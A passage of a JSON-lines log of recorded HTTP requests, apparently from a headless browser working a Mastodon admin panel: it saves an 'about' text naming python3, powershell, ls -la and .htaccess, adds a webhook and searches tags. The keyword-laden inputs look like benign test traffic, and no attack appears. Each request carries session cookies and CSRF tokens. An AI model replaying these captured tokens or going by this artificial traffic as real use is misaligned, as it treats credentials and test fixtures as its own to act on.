name=\"form_admin_settings[landing_page]\"\r\n\r\ntrends\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"button\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8--\r\n"}
|
||||||
|
{"method": "GET", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTIuNjk3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--22debca1da960bffd82aac01ac0c941aa52792f4; _mastodon_session=1GEZphvi3cCHiYcW%2BChp%2FlHgy2qzbgVdsefvbMMxqunxRJd8LJr8JswyxEWOycAwXN5T0P%2BLPobx96DsoxAi8mq6aUH3Y2eefzIZTCn99wbeiBcC4X5kWXLjw5Axa5fmXrpg51YK3okjCc9IVdGln6e%2BUZDuK2xMFrV9yOZVhsfRVtl2uNM98jhPgZ3EsYA1ZYYw0XxyIUOUDrKJxOV4z6LXPJrw4K0J0qM0dAdY%2BxPKHXWmnSltttrnoN1YcevxXICcQO6r0XZ3qDgYfyI0Sc%2BkwR8LhJxjZk5x%2B5M7tQQFNipm7YQPrSV1M6Glow1AYnH9b9InOguYfQDW0BWQqrreXxc9x7IGs2IzDfrBy%2F02dZ9FWi56Y4ZHJoRTrt1c5VmxN9avfgCx--pAMFdO38T4YBeP32--kt0DSSb4rWxgxJhOQftJ5g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept: */*", "Service-Worker: script", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/settings/about", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTIuODU0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a2bc783846af8fe17b646fc75c47e7491d2406bf; _mastodon_session=icNQY%2BOCGkQr4lvvFf8UNa383HXxXz9Vk%2Ft4C3h2b2amjNZqMvWjv%2BMYZ5PWt%2Fu%2BPtNEUVCQRVMYfZBvpfvH6f835bSkn3GceMC7j0v8wvRP1tpx5EZ77NMnhKZLODPLP3a2JtZDUMuUjS9sgQAaBjKpxEbc95g4hM1ZMc9U8gKCvXagz4Opdvyq8foLpi%2FgBi5SqPb8SEmZILIufJkz8RDJo0snrresnU%2BgiUDtnJuSIVeMlZ2zNAE4CFrTb%2FhCEisaMEYLcv33OQ%2BaqOszFUUYNqutGTdoTrWIy2mmEqGJKndhw9iykV2m0XJmJX2s80uaSRMVwB2qutrzVWSgy6foEpmSTWPMgSzoY8aTB5ZD6fMRjoHyLii5%2BJQAa9xd23Ennd1AsAuX--sj4C8klsQKipC4C4--F6l0746V9zwTdjJ7TrAGlA%3D%3D"], "body": "_method=patch&authenticity_token=90-kdU6RqtN84sEbG09d3FjkfFi2xlViFjnBvCoEPTYGLpu5V1rIBrDMgLJ3VlEdXqUnrAJCZbeyn1BTE4jE0A&form_admin_settings%5Bsite_extended_description%5D=We+talk+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&form_admin_settings%5Bshow_domain_blocks%5D=disabled&form_admin_settings%5Bshow_domain_blocks_rationale%5D=disabled&form_admin_settings%5Bstatus_page_url%5D=&form_admin_settings%5Bsite_terms%5D=&button="}
|
||||||
|
{"method": "GET", "target": "/admin/webhooks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNTY3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7ad4936650dd58a025dc3da70b543ef0a1055f60; _mastodon_session=3ix7xk5UiIlbEU%2F89duZ51TbMh2dvzC8BmPfEVtqkqQlbEz18fVBzrRc7kE5KCH7pw5XHkS67gCdvIDxg5WIfKA4FJxYaqiQKyUKpYm9kOpDYIkSTGu142eiY5mSWJc6VvoZATUmxLdNIgoDlvFmBot85A%2BOIJ2Tm0DbYDyPjN5IfUMigWZH8bdSO7EcUQR9oNDQJUguUkcuuW8MTri4YEPZB8EKqJ%2BYaw4gMVFOXojAoWVshKoZwC6M4iFViyCKaHHWk2cAoPvWJvKhCqL0lqZob%2BxDQtHIuQAyT62AKTsn%2FjTOFRW0C5j2jS88ECxQBb1IRdljubi8wLWadyD1A%2F4gNd7tNBFB0%2F0qYuKC9QpQbDQ%2BdN6jc1boanMcq3xjO%2BlxOGdchRW8--CW7uuAKR3ecZDNLs--SjXc9nWdMvQYuhtDRBlIhA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/esm-DrOrXu-Y.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNjYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--44ca990094674afcaea00d1827cbae19f404fb75; _mastodon_session=DHZdf2rm8Fee%2B8E%2BaNohpWRgBdZX%2BNMnbXDf0c%2Bn7QPr%2FMbjt98sl5nEnqxIEJMKaWQqEvzgxtiBsoy8z%2BZkYlI4apBDDlSgk6J4sjqbkaA8d%2B%2Fc%2F9bh8FNoXT6mHR%2Fhp8prdwYYUYqPfopbBi6M%2BQKGsFAstGAsCTS4f5ZjKDEBmEyytHeUbWuEUnp9Y7bbHp7k3y64lATb1m0RydI3z0ujx1h4qRNdlu11xR4%2FBpYJNnCWljxKzWECns0ncUAaniMZktdJm57lvdSxxsOoRuH0QUIH0qU68jTENyv6Ww1KecVDyC5lDvHXPdx3M1HjGYYW5OTdNc%2F4BKUXcOtFLwKLI1jNxpwEEKMWhgm3hQfFTJxOniKNae%2Bc5OYBUCkYkFdXIV4gokM3--AZcshY7b6cSyrDdi--T2FuS%2BFuZaS9R7vEc3iQWQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/webhooks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 264", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNjYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--44ca990094674afcaea00d1827cbae19f404fb75; _mastodon_session=DHZdf2rm8Fee%2B8E%2BaNohpWRgBdZX%2BNMnbXDf0c%2Bn7QPr%2FMbjt98sl5nEnqxIEJMKaWQqEvzgxtiBsoy8z%2BZkYlI4apBDDlSgk6J4sjqbkaA8d%2B%2Fc%2F9bh8FNoXT6mHR%2Fhp8prdwYYUYqPfopbBi6M%2BQKGsFAstGAsCTS4f5ZjKDEBmEyytHeUbWuEUnp9Y7bbHp7k3y64lATb1m0RydI3z0ujx1h4qRNdlu11xR4%2FBpYJNnCWljxKzWECns0ncUAaniMZktdJm57lvdSxxsOoRuH0QUIH0qU68jTENyv6Ww1KecVDyC5lDvHXPdx3M1HjGYYW5OTdNc%2F4BKUXcOtFLwKLI1jNxpwEEKMWhgm3hQfFTJxOniKNae%2Bc5OYBUCkYkFdXIV4gokM3--AZcshY7b6cSyrDdi--T2FuS%2BFuZaS9R7vEc3iQWQ%3D%3D"], "body": "authenticity_token=ncYD7puSoXHWbZGvU7Kfo3RSArdOAlBufNayqH9w9s9Onu1Hpd3xzqokP0tA8eh7g1io8VSL9_nndxv8qWIfqQ&webhook%5Burl%5D=https%3A%2F%2Fhooks.example.org%2Fpython3&webhook%5Bevents%5D%5B%5D=&webhook%5Bevents%5D%5B%5D=account.created&webhook%5Btemplate%5D=&button="}
|
||||||
|
{"method": "GET", "target": "/admin/webhooks/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjAwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--00b3e23edac7d3eda1604efa0f833284716e3bfb; _mastodon_session=HoxlQZhb47uRosruBqkyAs2lvo7AIaf7xmrk8AVn0q2eJ5WEskKmxnY5b9xofI1xl8JCqaWVbcOaTNHFZSG8QE3YkSUdhMOVo2Kx2MFSJ4x2nfcfp1mBwXE2KVkOb0CFL5EpGrI7G88SlVMTLWkvbPS3CLn03TM3mRWElgZlmAZd4TnjJjKx83FMgb9JHfPGAcpqf3bpewnfMRUB5wbAX0rZDzZg5ueA1DW19kNO8ZgsiuM%2FG%2BsYmC2tjVb6zwvy9aC9MDvB83qfSSnGDZySFaqPMuGi0m8BF6qirE9T5mZFY6PHv0vc1gXCv8fLW%2B3GgeeYHAuKNwibcxBj2DLFt8w4KznE%2FhHaOYv75%2Blkyx1YQYyTfQjgKQQGMxjjH9gezFHUhna99ZTh--G0vHxNdSQOUeajTH--cXsF%2BtwTylT1wt75SOfsEw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/mode-BXhrwYK6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--11c18a1bc19c76b955d882ed276387788bc3ac8c; _mastodon_session=VeTbqqxP7FQCarkc5KvbXF0VDqqCj%2BvLEs8f%2FsokymF7lKVgbNrRMADt8xF7NKuRUBRtlaQsgY7z%2FTpi6b3QQ%2BlB5TfAQ9sXTEPb7sle0deRilv2CiV3ig8HV558kUCuyeJRTGn4%2BZpEpzrarngZizF6Kt5PMHUV5IZtX17cUr%2FeMdWbviUZlSvCAFobxQDfTLliJ%2BD50seUFuDeFf7H3sklqItRttq7yXZGS1yGBbHC1a3m46LPYxcA%2B1knOQ3gYAGgxFBallL0%2FE1eSN6yEEvbayaEaeITyEgdi%2Fke9AJ%2B1Uejo93n2oDlt36PlBVbyGooPu4K74aXunQktfxMTfxeGiqQ%2BXHuhdhpmYoKkoLz5%2FVpBy3C6VGgc%2FIU1m%2BSoILO9i%2BIksRr--Md1GA4%2F%2B3JhDBlIO--uIlLRzZSM5bXfJNcEdwt1Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/tags?name=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--11c18a1bc19c76b955d882ed276387788bc3ac8c; _mastodon_session=VeTbqqxP7FQCarkc5KvbXF0VDqqCj%2BvLEs8f%2FsokymF7lKVgbNrRMADt8xF7NKuRUBRtlaQsgY7z%2FTpi6b3QQ%2BlB5TfAQ9sXTEPb7sle0deRilv2CiV3ig8HV558kUCuyeJRTGn4%2BZpEpzrarngZizF6Kt5PMHUV5IZtX17cUr%2FeMdWbviUZlSvCAFobxQDfTLliJ%2BD50seUFuDeFf7H3sklqItRttq7yXZGS1yGBbHC1a3m46LPYxcA%2B1knOQ3gYAGgxFBallL0%2FE1eSN6yEEvbayaEaeITyEgdi%2Fke9AJ%2B1Uejo93n2oDlt36PlBVbyGooPu4K74aXunQktfxMTfxeGiqQ%2BXHuhdhpmYoKkoLz5%2FVpBy3C6VGgc%2FIU1m%2BSoILO9i%2BIksRr--Md1GA4%2F%2B3JhDBlIO--uIlLRzZSM5bXfJNcEdwt1Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/reply-NI2DkwdJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/components-BM4_xVIg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/profile", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/render-DgEIfTde.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/profile", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMDIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--97d4d3c3fb39609736a7956063b81c57ed6d0340; _mastodon_session=gYT8mIwszZDbSN1gdFwY9Q1xZf%2FJMMEVWOq%2BvY%2BiaN1CFdxOSUNQMBNnaZxHwFKd9HSxn9a1T24fT9j0jcoKaZMAZdZQDOZNMnoYBpm5q1SzaGvShbOSYRc89bhWSZMOm%2Fw3pIAhyVGpLr4BL0PwZDefQBUzyxXQzbuPVXE2LLGd7V54vId0DEhv0n5o6WikucDYiyF6BFHj8UGP7MMQuELYs4KLwoGRJJNKl%2BR6ae%2FcUMf95rMUiwoN1%2BtDfC%2FjgZjaxOQhM%2Fh%2BQ0hqOnnogm2HkAV0uBbnXSBKaFdmjLK6vIA4IqcGYLpn8GpMLXkoScvGBfGGK0Xv5CGeLt%2Fp2%2Fb16f81vkYFbmyMlkZ7uNF%2FP6GWP1KiUmKtAlqNPJjdqtn0hSCUK7iP--0T28CR6K692tMMtf--RTuRQddKkjBXPCQHyy0XMg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/admin-gQ_AIoJT.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/rules", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--203c40bb381615d05f03a2f8a85e9fcc7e6b7270; _mastodon_session=vpjeH%2Bcg9tUjebhrSEwZuhDq3n80g8YMpXP6KDWyO%2B4g%2B9em9rT8gpWm6kz%2FIG5zh%2FHg4fYY4WjjSJupw5bjait4MINeSkEsk%2BKIcI4l%2BptzjTehWFVgxAMrSivMOxD5a6oQICl%2BhV7ZcA0mTJPHVk9EfiQvz7s44lSCvevimOG337bQWXgAjA8Wed3XAsB980n7mPnaf%2B%2F0w43PZfGJzuuJM2tQu44yyQr86O6dib490mLKM0PpQlQkt7Ci4g0%2Br14723bsqTLoMh0Lagx4dQKlUQ8qXPyziYf01nP0s7ZmCROmDcRGjE5GfISB2tuGpAi5yd9RVxpmESRl3L4xy%2FYBsSb0J49Vw0koSjKxbTDJGcOd%2Fk1X%2FGfumGVvK19yOjIM%2F%2FBeUmQQ--BycggxXUpL95VeKN--fGEvXkIXSWu0YcTmKu4STw%3D%3D"], "body": ""}
|
||||||
|
